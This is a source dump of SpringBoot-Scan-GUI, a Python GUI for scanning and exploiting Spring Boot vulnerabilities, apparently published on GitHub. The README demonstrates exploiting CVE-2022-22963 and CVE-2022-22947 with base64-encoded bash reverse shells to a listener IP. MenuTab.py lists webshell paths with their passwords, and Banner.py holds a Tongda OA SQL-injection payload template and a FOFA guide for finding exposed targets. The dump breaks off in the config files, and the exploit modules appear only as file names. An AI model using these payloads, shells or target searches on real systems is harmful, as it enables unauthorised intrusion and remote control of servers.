├── LICENSE ├── README.md ├── com ├── Banner.py └── MenuTab.py ├── config ├── fofa.json ├── logs.json ├── proxy.json ├── version.json └── vulns.json ├── core └── core.py ├── dict └── DirDict.txt ├── images └── gui.ico ├── logs ├── dump.log ├── error.log ├── urls.log └── vuln.log ├── main.py ├── pages ├── CreatePage.py ├── FofaPage.py ├── ScanPage.py ├── VulnPage.py └── config │ ├── FofaConfig.py │ ├── LogConfig.py │ ├── ProxyConfig.py │ └── VulnConfig.py ├── requirements.txt ├── save └── fofa.txt ├── translations ├── CN │ └── string.json └── US │ └── string.json ├── util ├── InputCheck.py ├── JsonMethod.py ├── LogsMethod.py ├── ProxyCheck.py ├── RandomUA.py ├── SystemCheck.py ├── URLMethod.py └── YamlMethod.py └── vuls ├── CVE_2021_21234.py ├── CVE_2021_21234_Async.py ├── CVE_2022_22947.py ├── CVE_2022_22947_Async.py ├── CVE_2022_22963.py ├── CVE_2022_22963_Async.py ├── CVE_2022_22965.py ├── CVE_2022_22965_Async.py ├── JeeSpring_2023.py ├── JeeSpring_2023_Async.py ├── JolokiaRCE.py ├── JolokiaRCE_Async.py ├── SnakeYAML_RCE.py └── SnakeYAML_RCE_Async.py /LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License 2 | 3 | Copyright 2023 13exp 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies 9 | of the Software, and to permit persons to whom the Software is furnished to do 10 | so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, 16 | INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A 17 | PARTICULARPURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT 18 | HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF 19 | CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE 20 | OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 21 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ![SpringBoot-Scan-GUI](https://socialify.git.ci/13exp/SpringBoot-Scan-GUI/image?font=Bitter&forks=1&issues=1&language=1&name=1&owner=1&pattern=Diagonal%20Stripes&stargazers=1&theme=Dark) 2 | 3 | 开源工具 [SpringBoot-Scan](https://github.com/AabyssZG/SpringBoot-Scan) 的GUI图形化版本,对你有用的话麻烦点个Star哈哈~ 4 | 5 | ![GUI](https://github.com/13exp/SpringBoot-Scan-GUI/assets/73600604/39082ed2-8907-499a-a86f-8bce3ad52cd6) 6 | 7 | 8 | **注意:本工具内置相关漏洞的Exp,杀软报毒属于正常现象!** 9 | 10 | ## 新版本工具使用 11 | 12 | ``` 13 | python3 main.py 14 | ``` 15 | 16 | 17 | ## VulHub 漏洞测试环境搭建 18 | 19 | ``` 20 | git clone https://github.com/vulhub/vulhub.git 21 | ``` 22 | 23 | ### 安装Docker环境 24 | 25 | ``` 26 | sudo apt-get install docker.io 27 | sudo apt install docker-compose 28 | ``` 29 | 30 | ### 搭建CVE-2022-22965 31 | 32 | ``` 33 | cd /vulhub/CVE-2022-22965 34 | sudo docker-compose up -d 35 | ``` 36 | 37 | ### 搭建CVE-2022-22963 38 | 39 | ``` 40 | cd /vulhub/CVE-2022-22963 41 | sudo docker-compose up -d 42 | ``` 43 | 44 | ### 搭建CVE-2022-22947 45 | 46 | ``` 47 | cd /vulhub/CVE-2022-22947 48 | sudo docker-compose up -d 49 | ``` 50 | 51 | 如果报错,自行修改 `.yml` 文件中映射的端口号 52 | 53 | ## 漏洞复现演示 54 | 55 | ### 一、CVE-2022-22965 56 | 57 | #### VulHub 环境复现 58 | 59 | ![image](https://user-images.githubusercontent.com/73600604/218236128-21bf37e5-e8c2-45de-9f9e-50fbe8ad1574.png) 60 | ![image](https://user-images.githubusercontent.com/73600604/218236233-68986684-4698-46d0-a36e-d95d37a2620b.png) 61 | ![image](https://user-images.githubusercontent.com/73600604/218236243-0d6b2eb4-6b2d-4c88-91ea-be4a5760675d.png) 62 | 63 | **内置shell** 64 | ![image](https://user-images.githubusercontent.com/73600604/218236608-102b9342-1f92-4268-88de-9f35c5de22ce.png) 65 | 66 | **aabysszg-shell** 67 | ![image](https://user-images.githubusercontent.com/73600604/218236258-348c30f4-7a5e-43e9-8f12-0f4eb1f27e99.png) 68 | 69 | **13exp-shell** 70 | 71 | ![image](https://user-images.githubusercontent.com/73600604/218236580-097727c0-cd79-47bc-af8a-3b509324ec3e.png) 72 | 73 | #### 春秋云境 环境复现 74 | 75 | ![image](https://user-images.githubusercontent.com/73600604/218236469-833740d2-b754-46d8-848d-89236f5ec72b.png) 76 | 77 | **内置shell** 78 | ![image](https://user-images.githubusercontent.com/73600604/218236715-9815addd-2502-4e6c-a11c-5ccd054a57ac.png) 79 | 80 | **13exp-shell** 81 | ![image](https://user-images.githubusercontent.com/73600604/218236734-655bcfe4-0eac-433d-aa66-07ad51af9fbb.png) 82 | 83 | **aabysszg-shell** 84 | ![image](https://user-images.githubusercontent.com/73600604/218236497-11401635-b171-4536-9faa-f431324612a9.png) 85 | ![image](https://user-images.githubusercontent.com/73600604/218236516-71dae6a1-3f59-459c-82c8-b49c3d191f6c.png) 86 | 87 | ### 二、CVE-2022-22963 88 | 89 | #### VulHub 环境复现 90 | 91 | 准备反弹shell: 92 | 93 | ``` 94 | bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA1Lzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i} || (Base64) 95 | ``` 96 | 97 | 编码内容→ `bash -i >& /dev/tcp/192.168.0.105/8888 0>&1` 98 | 99 | Kali监听对应端口: 100 | ![image](https://user-images.githubusercontent.com/73600604/218240588-a377065e-c4fc-403c-950d-0e688b7e446c.png) 101 | 102 | **漏洞利用** 103 | ![image](https://user-images.githubusercontent.com/73600604/218240553-009588c6-be8f-4bbd-9fe8-d3e8cc001795.png) 104 | ![image](https://user-images.githubusercontent.com/73600604/218240609-246afc87-e671-4565-bf68-f3dda7360961.png) 105 | 106 | #### 春秋云境 环境复现 107 | 108 | 注:云境反弹shell需使用公网服务器 109 | 110 | 服务器监听 111 | ![image](https://user-images.githubusercontent.com/73600604/218291287-9b248ffa-f4fe-4195-b665-ba333aa5721c.png) 112 | 113 | ![image](https://user-images.githubusercontent.com/73600604/218291509-dca8ef79-3453-4add-bba1-cfd513a4fbc3.png) 114 | ![image](https://user-images.githubusercontent.com/73600604/218291366-7eb7e58b-54ca-4d72-bd0e-f6bc6fa4367f.png) 115 | 116 | 117 | ### 三、CVE-2022-22947 118 | 119 | #### VulHub 环境复现 120 | 121 | 同样准备反弹shell 122 | 123 | ``` 124 | bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA1Lzg4ODkgMD4mMQ==}|{base64,-d}|{bash,-i} || (Base64) 125 | ``` 126 | 127 | 编码内容→ `bash -i >& /dev/tcp/192.168.0.105/8889 0>&1` 128 | 129 | kali监听对应端口: 130 | ![image](https://user-images.githubusercontent.com/73600604/218240722-f36a7ac5-b2c3-4043-9b9e-54be43052799.png) 131 | 132 | **漏洞利用** 133 | ![image](https://user-images.githubusercontent.com/73600604/218240756-52bb0691-bcbe-4057-b502-716d86aa2a1d.png) 134 | ![image](https://user-images.githubusercontent.com/73600604/218241387-1c6b9198-3e76-434b-8a8d-96533613cd26.png) 135 | 136 | #### 春秋云境 环境复现 137 | 138 | ![image](https://user-images.githubusercontent.com/73600604/218237116-b3897e7c-2c88-45c6-97ad-276c3e7be052.png) 139 | ![image](https://user-images.githubusercontent.com/73600604/218257247-eb1ec709-dcaa-4855-8890-c263c15bc890.png) 140 | 141 | ## 项目Star统计 142 | 143 | ![star](https://starchart.cc/13exp/SpringBoot-Scan-GUI.svg) 144 | -------------------------------------------------------------------------------- /com/Banner.py: -------------------------------------------------------------------------------- 1 | # coding=utf-8 2 | 3 | from util import JsonMethod 4 | 5 | def banner(): 6 | version_load = JsonMethod.JsonMethod() 7 | version = version_load.JsonRead("./config/version.json")["version"] 8 | string =rf''' 9 | ______ __ _______ __ 10 | / \ | \ | \ | \ 11 | | $$$$$$\ ______ ______ \$$ _______ ______ | $$$$$$$\ ______ ______ _| $$_ 12 | | $$___\$$ / \ / \ | \| \ / \ | $$__/ $$ / \ / \ | $$ \ 13 | \$$ \ | $$$$$$\| $$$$$$\| $$| $$$$$$$\| $$$$$$\| $$ $$| $$$$$$\| $$$$$$\ \$$$$$$ 14 | _\$$$$$$\| $$ | $$| $$ \$$| $$| $$ | $$| $$ | $$| $$$$$$$\| $$ | $$| $$ | $$ | $$ __ 15 | | \__| $$| $$__/ $$| $$ | $$| $$ | $$| $$__| $$| $$__/ $$| $$__/ $$| $$__/ $$ | $$| \ 16 | \$$ $$| $$ $$| $$ | $$| $$ | $$ \$$ $$| $$ $$ \$$ $$ \$$ $$ \$$ $$ 17 | \$$$$$$ | $$$$$$$ \$$ \$$ \$$ \$$ _\$$$$$$$ \$$$$$$$ \$$$$$$ \$$$$$$ \$$$$ 18 | | $$ | \__| $$ 19 | | $$ \$$ $$ 20 | \$$ \$$$$$$ 21 | ______ ______ __ __ ______ SpringBootScan-GUI 22 | / \ / \ | \ | \| \ Version: {version} 23 | | $$$$$$\ _______ ______ _______ | $$$$$$\| $$ | $$ \$$$$$$ +-----------------------------+ 24 | | $$___\$$ / \ | \ | \ | $$ __\$$| $$ | $$ | $$ + GUI by: 13exp + 25 | \$$ \ | $$$$$$$ \$$$$$$\| $$$$$$$\| $$| \| $$ | $$ | $$ + https://github.com/13exp/ + 26 | _\$$$$$$\| $$ / $$| $$ | $$| $$ \$$$$| $$ | $$ | $$ +-----------------------------+ 27 | | \__| $$| $$_____ | $$$$$$$| $$ | $$| $$__| $$| $$__/ $$ _| $$_ + Terminal by: 曾哥(@AabyssZG)+ 28 | \$$ $$ \$$ \ \$$ $$| $$ | $$ \$$ $$ \$$ $$| $$ \ + https://github.com/AabyssZG/+ 29 | \$$$$$$ \$$$$$$$ \$$$$$$$ \$$ \$$ \$$$$$$ \$$$$$$ \$$$$$$ +-----------------------------+ 30 | 31 | 32 | ''' 33 | return string 34 | def PoC(): 35 | string=r''' 36 | _______ ______ 37 | | \ / \ 38 | | $$$$$$$\ ______ | $$$$$$\ 39 | | $$__/ $$ / \ | $$ \$$ 40 | | $$ $$| $$$$$$\| $$ 41 | | $$$$$$$ | $$ | $$| $$ __ 42 | | $$ | $$__/ $$| $$__/ \ 43 | | $$ \$$ $$ \$$ $$ 44 | \$$ \$$$$$$ \$$$$$$ 45 | 46 | 47 | ''' 48 | return string 49 | def EXP(): 50 | string=r''' 51 | ________ __ __ _______ 52 | | \| \ | \| \ 53 | | $$$$$$$$| $$ | $$| $$$$$$$\ 54 | | $$__ \$$\/ $$| $$__/ $$ 55 | | $$ \ >$$ $$ | $$ $$ 56 | | $$$$$ / $$$$\ | $$$$$$$ 57 | | $$_____ | $$ \$$\| $$ 58 | | $$ \| $$ | $$| $$ 59 | \$$$$$$$$ \$$ \$$ \$$ 60 | 61 | 仅支持CVE-2022-22947 62 | CVE-2022-22965 63 | CVE-2022-22963 64 | 65 | 66 | ''' 67 | return string 68 | def Download(): 69 | string=r""" 70 | ____ _ _ 71 | | _ \ _____ ___ __ | | ___ __ _ __| | 72 | | | | |/ _ \ \ /\ / | '_ \| |/ _ \ / _` |/ _` | 73 | | |_| | (_) \ V V /| | | | | (_) | (_| | (_| | 74 | |____/ \___/ \_/\_/ |_| |_|_|\___/ \__,_|\__,_| 75 | 76 | 77 | """ 78 | return string 79 | def FofaInfo(): 80 | string=r'''逻辑连接符/语法 具体含义 81 | ----------------------------------------- 82 | = 83 | 匹配,=""时,可查询不存在字段或者值为空的情况。 84 | ----------------------------------------- 85 | == 86 | 完全匹配,==""时,可查询存在且值为空的情况。 87 | ----------------------------------------- 88 | && 89 | 与 90 | ----------------------------------------- 91 | || 92 | 或者 93 | ----------------------------------------- 94 | != 95 | 不匹配,!=""时,可查询值为空的情况。 96 | ----------------------------------------- 97 | *= 98 | 模糊匹配,使用*或者?进行搜索,比如banner*="mys??" (个人版及以上可用)。 99 | ----------------------------------------- 100 | () 101 | 确认查询优先级,括号内容优先级最高。 102 | ----------------------------------------- 103 | title="beijing" 104 | 从标题中搜索“北京” 105 | ----------------------------------------- 106 | header="elastic" 107 | 从http头中搜索“elastic” 108 | ----------------------------------------- 109 | header_hash="1258854265" [new] 110 | 通过http/https的响应头计算的hash值搜索 111 | 个人版及以上可用 112 | ----------------------------------------- 113 | body="网络空间测绘" 114 | 从html正文中搜索“网络空间测绘” 115 | ----------------------------------------- 116 | body_hash="-2090962452" [new] 117 | 通过html正文计算的hash值搜索 118 | ----------------------------------------- 119 | fid="sSXXGNUO2FefBTcCLIT/2Q==" 120 | 查找相同的网站指纹 121 | 搜索网站类型资产 122 | ----------------------------------------- 123 | domain="qq.com" 124 | 搜索根域名带有qq.com的网站 125 | ----------------------------------------- 126 | icp="京ICP证030173号" 127 | 查找备案号为“京ICP证030173号”的网站 128 | 搜索网站类型资产 129 | ----------------------------------------- 130 | js_name="js/jquery.js" 131 | 查找网站正文中包含js/jquery.js的资产 132 | 搜索网站类型资产 133 | ----------------------------------------- 134 | js_md5="82ac3f14327a8b7ba49baa208d4eaa15" 135 | 查找js源码与之匹配的资产 136 | ----------------------------------------- 137 | cname="ap21.inst.siteforce.com" 138 | 查找cname为"ap21.inst.siteforce.com"的网站 139 | ----------------------------------------- 140 | cname_domain="siteforce.com" 141 | 查找cname包含“siteforce.com”的网站 142 | ----------------------------------------- 143 | cloud_name="Aliyundun" [new] 144 | 通过云服务名称搜索资产 145 | ----------------------------------------- 146 | product="NGINX" [new] 147 | 搜索此产品的资产 148 | 个人版及以上可用 149 | ----------------------------------------- 150 | category="服务" [new] 151 | 搜索此产品分类的资产 152 | 个人版及以上可用 153 | ----------------------------------------- 154 | sdk_hash=="Mkb4Ms4R96glv/T6TRzwPWh3UDatBqeF" new 155 | 搜索使用此sdk的资产 156 | 商业版及以上可用 157 | ----------------------------------------- 158 | icon_hash="-247388890" 159 | 搜索使用此 icon 的资产 160 | ----------------------------------------- 161 | host=".gov.cn" 162 | 从url中搜索”.gov.cn” 163 | 搜索要用host作为名称 164 | ----------------------------------------- 165 | port="6379" 166 | 查找对应“6379”端口的资产 167 | ----------------------------------------- 168 | ip="1.1.1.1" 169 | 从ip中搜索包含“1.1.1.1”的网站 170 | 搜索要用ip作为名称 171 | ----------------------------------------- 172 | ip="220.181.111.1/24" 173 | 查询IP为“220.181.111.1”的C网段资产 174 | ----------------------------------------- 175 | status_code="402" 176 | 查询服务器状态为“402”的资产 177 | 查询网站类型数据 178 | ----------------------------------------- 179 | protocol="quic" 180 | 查询quic协议资产 181 | 搜索指定协议类型(在开启端口扫描的情况下有效) 182 | ----------------------------------------- 183 | country="CN" 184 | 搜索指定国家(编码)的资产 185 | ----------------------------------------- 186 | region="Xinjiang Uyghur Autonomous Region" 187 | 搜索指定行政区的资产 188 | ----------------------------------------- 189 | city="Ürümqi" 190 | 搜索指定城市的资产 191 | ----------------------------------------- 192 | cert="baidu" 193 | 搜索证书(https或者imaps等)中带有baidu的资产 194 | ----------------------------------------- 195 | cert.subject="Oracle Corporation" 196 | 搜索证书持有者是Oracle Corporation的资产 197 | ----------------------------------------- 198 | cert.issuer="DigiCert" 199 | 搜索证书颁发者为DigiCert Inc的资产 200 | ----------------------------------------- 201 | cert.is_valid=true 202 | 验证证书是否有效,true有效,false无效 203 | 个人版及以上可用 204 | ----------------------------------------- 205 | cert.is_match=true [new] 206 | 证书和域名是否匹配;true匹配、false不匹配 207 | 个人版及以上可用 208 | ----------------------------------------- 209 | cert.is_expired=false [new] 210 | 证书是否过期;true过期、false未过期 211 | 个人版及以上可用 212 | ----------------------------------------- 213 | cert.subject.org="Oracle Corporation" [new] 214 | 搜索证书持有者的组织 215 | ----------------------------------------- 216 | cert.subject.cn="baidu.com" [new] 217 | 搜索证书持有者的通用名称 218 | ----------------------------------------- 219 | cert.issuer.org="cPanel, Inc." [new] 220 | 搜索证书颁发者的组织 221 | ----------------------------------------- 222 | cert.issuer.cn="Synology Inc. CA" [new] 223 | 搜索证书颁发者的通用名称 224 | ----------------------------------------- 225 | jarm="2ad...83e81" 226 | 搜索JARM指纹 227 | ----------------------------------------- 228 | banner="users" && protocol="ftp" 229 | 搜索FTP协议中带有users文本的资产 230 | ----------------------------------------- 231 | type="service" 232 | 搜索所有协议资产,支持subdomain和service两种 233 | 搜索所有协议资产 234 | ----------------------------------------- 235 | os="centos" 236 | 搜索CentOS资产 237 | ----------------------------------------- 238 | server=="Microsoft-IIS/10" 239 | 搜索IIS 10服务器 240 | ----------------------------------------- 241 | app="Microsoft-Exchange" 242 | 搜索Microsoft-Exchange设备 243 | ----------------------------------------- 244 | after="2017" && before="2017-10-01" 245 | 时间范围段搜索 246 | ----------------------------------------- 247 | asn="19551" 248 | 搜索指定asn的资产 249 | ----------------------------------------- 250 | org="LLC Baxet" 251 | 搜索指定org(组织)的资产 252 | ----------------------------------------- 253 | base_protocol="udp" 254 | 搜索指定udp协议的资产 255 | ----------------------------------------- 256 | is_fraud=false [new] 257 | 排除仿冒/欺诈数据 258 | 专业版及以上可用 259 | ----------------------------------------- 260 | is_honeypot=false 261 | 排除蜜罐数据 262 | 专业版及以上可用 263 | ----------------------------------------- 264 | is_ipv6=true 265 | 搜索ipv6的资产 266 | 搜索ipv6的资产,只接受true和false 267 | ----------------------------------------- 268 | is_domain=true 269 | 搜索域名的资产 270 | 搜索域名的资产,只接受true和false 271 | ----------------------------------------- 272 | is_cloud=true [new] 273 | 筛选使用了云服务的资产 274 | ----------------------------------------- 275 | port_size="6" 276 | 查询开放端口数量等于"6"的资产 277 | 个人版及以上可用 278 | ----------------------------------------- 279 | port_size_gt="6" 280 | 查询开放端口数量大于"6"的资产 281 | 个人版及以上可用 282 | ----------------------------------------- 283 | port_size_lt="12" 284 | 查询开放端口数量小于"12"的资产 285 | 个人版及以上可用 286 | ----------------------------------------- 287 | ip_ports="80,161" 288 | 搜索同时开放80和161端口的ip 289 | 搜索同时开放80和161端口的ip资产(以ip为单位的资产数据) 290 | ----------------------------------------- 291 | ip_country="CN" 292 | 搜索中国的ip资产(以ip为单位的资产数据) 293 | 搜索中国的ip资产 294 | ----------------------------------------- 295 | ip_region="Zhejiang" 296 | 搜索指定行政区的ip资产(以ip为单位的资产数据) 297 | 搜索指定行政区的资产 298 | ----------------------------------------- 299 | ip_city="Hangzhou" 300 | 搜索指定城市的ip资产(以ip为单位的资产数据) 301 | 搜索指定城市的资产 302 | ----------------------------------------- 303 | ip_after="2021-03-18" 304 | 搜索2021-03-18以后的ip资产(以ip为单位的资产数据) 305 | 搜索2021-03-18以后的ip资产 306 | ----------------------------------------- 307 | ip_before="2019-09-09" 308 | 搜索2019-09-09以前的ip资产(以ip为单位的资产数据) 309 | 搜索2019-09-09以前的ip资产 310 | ''' 311 | return string 312 | def PoCPro(): 313 | string = r"""{ 314 | "id": "", 315 | "info": { 316 | "name": "", 317 | "author": "", 318 | "severity": "", 319 | "description": "通达OA v11.6 report_bi.func.php 存在SQL注入漏洞,攻击者通过漏洞可以获取数据库信息", 320 | "reference": [ 321 | "https://peiqi.wgpsec.org/wiki/oa/%E9%80%9A%E8%BE%BEOA/%E9%80%9A%E8%BE%BEOA%20v11.6%20report_bi.func.php%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html" 322 | ], 323 | "classification": { 324 | "cvss-metrics": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", 325 | "cvss-score": 10.0, 326 | "cwe-id": "CWE-77" 327 | }, 328 | "tags": "tongda,lfi", 329 | "metadata": { 330 | "max-request": 1 331 | } 332 | }, 333 | "http": [ 334 | { 335 | "method": [ 336 | "POST" 337 | ], 338 | "path": [ 339 | "{{BaseURL}}/general/bi_design/appcenter/report_bi.func.php" 340 | ], 341 | "Rheader": [ 342 | "Content-Type:application/x-www-form-urlencoded & Accept-Encoding:gzip" 343 | ], 344 | "body": [ 345 | "_POST[dataset_id]=efgh%27-%40%60%27%60%29union+select+database%28%29%2C2%2Cuser%28%29%23%27&action=get_link_info&\n" 346 | ], 347 | "matchers-condition": "and", 348 | "matchers": [ 349 | { 350 | "type": "word", 351 | "part": "body", 352 | "words": [ 353 | "td_oa" 354 | ] 355 | }, 356 | { 357 | "type": "status", 358 | "status": [ 359 | 2XX 360 | ] 361 | } 362 | ] 363 | } 364 | ] 365 | }""" 366 | return string -------------------------------------------------------------------------------- /com/MenuTab.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | 3 | import webbrowser,requests,sys,os 4 | from tkinter import * 5 | from tkinter import messagebox 6 | 7 | from pages.config import FofaConfig 8 | from pages.config import VulnConfig 9 | from pages.config import LogConfig 10 | from pages.config import ProxyConfig 11 | from util import JsonMethod 12 | class MenuTab: 13 | def __init__(self,window): 14 | self.window = window 15 | 16 | # 初始化读取配置功能页面 17 | self.fofaconfig = FofaConfig.FofaConfig() 18 | self.proxyconfig = ProxyConfig.ProxyConfig() 19 | self.logconfig = LogConfig.LogConfig() 20 | self.vulnconfig = VulnConfig.VulnConfig() 21 | # 获得当前版本 22 | self.version_load = JsonMethod.JsonMethod() 23 | # menutab 24 | menu = Menu(self.window) 25 | menu_kid = Menu(menu, tearoff=0) 26 | menu.add_cascade(label='菜单', menu=menu_kid) 27 | menu_clear = Menu(menu_kid, tearoff=0) 28 | menu_kid.add_cascade(label='clear', menu=menu_clear) 29 | menu_clear.add_command(label='save', command=self.SaveClear) 30 | menu_clear.add_command(label='logs', command=self.LogsClear) 31 | menu_kid.add_separator() 32 | menu_kid.add_command(label='FofaInfo', command=self.FofaInfo) 33 | menu_kid.add_command(label='ShellInfo', command=self.ShellInfo) 34 | menu_kid.add_separator() 35 | menu_kid.add_command(label='退出', command=self.Exit, accelerator='Esc') 36 | 37 | menu_set = Menu(menu, tearoff=0) 38 | menu.add_cascade(label='配置', menu=menu_set) 39 | menu_set.add_command(label='资产测绘', command=self.fofaconfig.page, accelerator='Ctrl+F') 40 | menu_set.add_command(label='代理设置', command=self.proxyconfig.page, accelerator='Ctrl+P') 41 | menu_set.add_command(label='日志设置', command=self.logconfig.page, accelerator='Ctrl+U') 42 | menu_set.add_command(label='漏扫设置', command=self.vulnconfig.page, accelerator='Ctrl+G') 43 | 44 | menu_help = Menu(menu, tearoff=0) 45 | menu.add_cascade(label='帮助', menu=menu_help) 46 | menu_help.add_command(label='issues', command=self.Issues) 47 | menu_help.add_command(label='关于', command=self.About) 48 | 49 | menu_about = Menu(menu, tearoff=0) 50 | menu.add_cascade(label='更多', menu=menu_about) 51 | menu_about.add_command(label='13EXP', command=self.MyGitHub) 52 | menu_about.add_command(label='AabyssZGBlog', command=self.AabyssZGBlog) 53 | menu_about.add_command(label='FofaViwer', command=self.FofaViwer) 54 | menu_about.add_command(label='HongYan', command=self.MoreVulns) 55 | menu_about.add_command(label='检查更新', command=self.UpdateCheck) 56 | # 右键菜单加载 57 | self.MenuPageRight() 58 | 59 | self.window.config(menu=menu) 60 | def SaveClear(self): 61 | path = "./save" 62 | result = self.DirClear(path) 63 | messagebox.showinfo("删除",result) 64 | def LogsClear(self): 65 | path = "./logs" 66 | result = self.DirClear(path) 67 | messagebox.showinfo("删除", result) 68 | def DirClear(self,path): 69 | if os.path.exists(path): 70 | for root, dirs, files in os.walk(path, topdown=False): 71 | for file in files: 72 | file_path = os.path.join(root, file) 73 | try: 74 | os.remove(file_path) 75 | except: 76 | result = "删除文件时出现未知错误!" 77 | return result 78 | for dir in dirs: 79 | dir_path = os.path.join(root, dir) 80 | try: 81 | os.rmdir(dir_path) 82 | except: 83 | result = "删除目录时出现未知错误!" 84 | return result 85 | result = f"删除{path}下文件成功" 86 | return result 87 | else: 88 | os.mkdir(path) 89 | result = f"不存在{path}已自动创建!" 90 | return result 91 | def UpdateCheck(self): 92 | try: 93 | git_url = "https://raw.githubusercontent.com/13exp/SpringBoot-Scan-GUI/main/config/version.json" 94 | now_version = self.version_load.JsonRead("./config/version.json")["version"] 95 | req = requests.get(url=git_url) 96 | git_version = eval(req.text)["version"] 97 | if git_version > now_version: 98 | update = messagebox.askokcancel("更新",f"检测到新版本{git_version},是否前往更新?") 99 | if update == True: 100 | webbrowser.open('https://github.com/13exp/SpringBoot-Scan-GUI') 101 | else: 102 | messagebox.showinfo("更新", "当前已为最新版本") 103 | except: 104 | messagebox.showerror("错误", "网络、代理或未知错误,检查更新失败!\n请稍后再试") 105 | def FofaInfo(self): 106 | messagebox.showinfo("Fofa语法",'根据图标 : icon_hash="116323821"\n网页内容识别 : body="Whitelabel Error Page"') 107 | 108 | def ShellInfo(self): 109 | messagebox.showinfo("CVE-2022-22965 Shell信息","CVE-2022-22965 : shell.jsp?cmd=whoami\n22965-13exp-shell : wbexp.jsp?pwd=13exp&cmd=whoami\n22965-aabyss-shell: tomcatwar.jsp?pwd=aabysszg&cmd=whoami") 110 | 111 | def Exit(self): 112 | Exit = messagebox.askokcancel('退出','确定退出吗?') 113 | if Exit == True: 114 | self.window.destroy() 115 | sys.exit() 116 | 117 | def About(self): 118 | messagebox.showinfo("关于","敬请期待···") 119 | 120 | def FofaViwer(self): 121 | webbrowser.open('https://github.com/wgpsec/fofa_viewer') 122 | 123 | def MyGitHub(self): 124 | webbrowser.open('https://github.com/13exp/SpringBoot-Scan-GUI') 125 | 126 | def AabyssZGBlog(self): 127 | webbrowser.open('https://blog.zgsec.cn/archives/129.html') 128 | 129 | def MoreVulns(self): 130 | webbrowser.open('https://github.com/hongyan454/SpringBootVulExploit') 131 | def VulnRight(self,event=None): 132 | self.vulnconfig.page() 133 | def FofaRight(self,event=None): 134 | self.fofaconfig.page() 135 | def ProxyRight(self,event=None): 136 | self.proxyconfig.page() 137 | def LogsRight(self,event=None): 138 | self.logconfig.page() 139 | def ExitRight(self,event=None): 140 | self.Exit() 141 | def Issues(self): 142 | webbrowser.open('https://github.com/13exp/SpringBoot-Scan-GUI/issues') 143 | def MenuPageRight(self): 144 | # 右键菜单设置 145 | self.menu_right = Menu(self.window, tearoff=False) 146 | # self.menu_right.add_command(label='漏扫利用', command=self.vule, accelerator='Ctrl+R') 147 | # self.menu_right.add_separator() 148 | self.right_config = Menu(self.menu_right, tearoff=0) 149 | self.menu_right.add_cascade(label='配置', menu=self.right_config) 150 | self.right_config.add_command(label='资产测绘', command=self.fofaconfig.page, accelerator='Ctrl+F') 151 | self.right_config.add_command(label='代理设置', command=self.proxyconfig.page, accelerator='Ctrl+P') 152 | self.right_config.add_command(label='日志设置', command=self.logconfig.page, accelerator='Ctrl+U') 153 | self.right_config.add_command(label='漏扫设置', command=self.vulnconfig.page, accelerator='Ctrl+G') 154 | self.menu_right.add_separator() 155 | self.right_more = Menu(self.menu_right, tearoff=0) 156 | self.menu_right.add_cascade(label='更多', menu=self.right_more) 157 | self.right_more.add_command(label='13EXP', command=self.MyGitHub) 158 | self.right_more.add_command(label='利用姿势', command=self.AabyssZGBlog) 159 | self.right_more.add_command(label='FofaViewer', command=self.FofaViwer) 160 | self.right_more.add_command(label='HongYan', command=self.MoreVulns) 161 | self.right_more.add_command(label='检查更新', command=self.UpdateCheck) 162 | self.menu_right.add_separator() 163 | self.right_clear = Menu(self.menu_right, tearoff=0) 164 | self.menu_right.add_cascade(label='清除', menu=self.right_clear) 165 | self.right_clear.add_command(label='save', command=self.SaveClear) 166 | self.right_clear.add_command(label='logs', command=self.LogsClear) 167 | self.menu_right.add_separator() 168 | self.menu_right.add_command(label='退出', command=self.Exit, accelerator='Esc') 169 | # 快捷键 170 | self.window.bind("", self.FofaRight) 171 | self.window.bind("", self.FofaRight) 172 | self.window.bind("", self.ProxyRight) 173 | self.window.bind("", self.ProxyRight) 174 | self.window.bind("", self.LogsRight) 175 | self.window.bind("", self.LogsRight) 176 | self.window.bind("", self.VulnRight) 177 | self.window.bind("", self.VulnRight) 178 | self.window.bind("", self.ExitRight) 179 | self.window.bind("", self.MenuRight) 180 | def MenuRight(self,event): 181 | global right 182 | self.menu_right.post(event.x_root, event.y_root) -------------------------------------------------------------------------------- /config/fofa.json: -------------------------------------------------------------------------------- 1 | { 2 | "api": "https://fofa.info", 3 | "email": "", 4 | "key": "", 5 | "size": "100" 6 | } -------------------------------------------------------------------------------- /config/logs.json: -------------------------------------------------------------------------------- 1 | { 2 | "switch": 0, 3 | "scanlog_path": "./logs/urls.log", 4 | "vulnlog_path": "./logs/vuln.log", 5 | "dumplog_path": "./logs/dump.log", 6 | "errorlog_path": "./logs/error.log" 7 | } -------------------------------------------------------------------------------- /config/proxy.json: -------------------------------------------------------------------------------- 1 | { 2 | "switch": 0, 3 | "type": [ 4 | "unkown", 5 | "HTTP", 6 | "SOCK5" 7 | ], 8 | "ip": "127.0.0.1", 9 | "port": "8081", 10 | "user": "", 11 | "passwd": "" 12 | } -------------------------------------------------------------------------------- /config/version.json: -------------------------------------------------------------------------------- 1 | { 2 | "version": "1.2.5" 3 | } -------------------------------------------------------------------------------- /config/vulns.json: -------------------------------------------------------------------------------- 1 | { 2 | "vulns": { 3 | "pocList": [ 4 | "CVE-2021-21234", 5 